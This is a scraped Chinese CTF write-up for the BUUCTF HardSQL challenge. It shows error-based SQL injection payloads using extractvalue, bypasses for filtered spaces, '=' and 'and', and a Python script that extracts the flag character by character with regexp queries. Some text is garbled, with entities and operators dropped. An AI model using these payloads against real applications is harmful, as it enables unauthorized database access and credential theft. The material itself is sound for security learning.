php网站模板 下载,手机版网页游戏,北理工网站开发与运用,网站专业建设输入一些SQL关键词#xff0c;发现空格#xff0c;#xff0c;union#xff0c;and#xff0c;by都被过滤了 被过滤#xff0c;就用like替代 发现登录成功#xff0c;可以注入
报错注入
注意
1.这里过滤了空格#xff0c;就用()将内容包裹起来
比如说#xff1a…输入一些SQL关键词发现空格unionandby都被过滤了 被过滤就用like替代 发现登录成功可以注入
报错注入
注意
1.这里过滤了空格就用()将内容包裹起来
比如说select table_name from information_schema.tables
就可以换成select(table_name)from(information_schema.tables)
2.过滤了where(table_namegeek)语句中的 就被过滤了此时可以用 like 代替
where(table_name)like(geek)
爆库名 1or(extractvalue(1,concat(0x7e,(select(database())))))# 爆表名 1or(extractvalue(1,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema )like(geek)),0x7e)))# 爆列名这里限制条件只用写table_nameH4rDsq1就行了因为and被过滤了
这里注意是(H4rDsq1) 1or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns) where(table_name)like(H4rDsq1)),0x7e)))# 爆password这里就必须写(H4rDsq1) 1or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))# 但是显示不完整 发现substr也被过滤了所以使用right或者regexp
right: 1or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))# 拼接起来 regexp:
regexp 是 SQL 中的正则表达式匹配运算符 url地址是直接复制的地址栏的地址所以存在的都是编码后的字符其原始语句为1or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp(^f)),0x7e)))#【筛选出 H4rDsq1 表中 password 字段以 f 开头的记录】可用payload1or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp(^flag{5e0eabdd-83c3-466f-9e51-bb95d91d23ad})),0x7e)))#验证正则匹配方式的正确性脚本如下 正则表达式中^f表示匹配字符串以 f 开头
import requests #requests 模块用于发送 HTTP 请求与目标服务器进行交互。
import time #time 模块用于添加延迟避免请求过于频繁导致服务器拒绝。
#去掉了大写字母可手动加上ABCDEFGHIJKLMNOPQRSTUVWXYZ
#未写停止判断当判断到strings最后一位且flag未在其中时停止即可
strings abcdefghijklmnopqrstuvwxyz1234567890{}-_~ #定义了可能出现在 flag 中的字符集
i 1
flag #flag 用于存储已经猜测到的部分 flag初始为空字符串。
while i 80:for one_char in strings:one_char flag one_char#先把已经猜好的和新遍历的字符拼接起来url http://4538af48-5b3e-451e-b6bf-565049f2caab.node4.buuoj.cn:81/check.php?username12password1%27or%28extractvalue%281%2Cconcat%280x7e%2C%28select%28password%29from%28H4rDsq1%29where%28password%29regexp%28%27%5Estr(one_char)%27%29%29%2C0x7e%29%29%29%23#将one_char转换成字符串以这个新猜的字符串为开头看看能不能匹配上真正的flag#如果能匹配上它会返回匹配上的flag{xxxxxxxx}#因为本意是查询有没有符合条件的字符串所以回显的文本里会有flag字样time.sleep(0.05) #暂停 0.05 秒避免请求过于频繁。rs requests.get(url)if flag in rs.text: #如果响应文本中包含 flag说明当前猜测的部分 flag 是正确的flag one_charprint(\r, end) #\r回车print(flag为 flag, end)break参考[极客大挑战 2019]HardSQL-1 - upfine - 博客园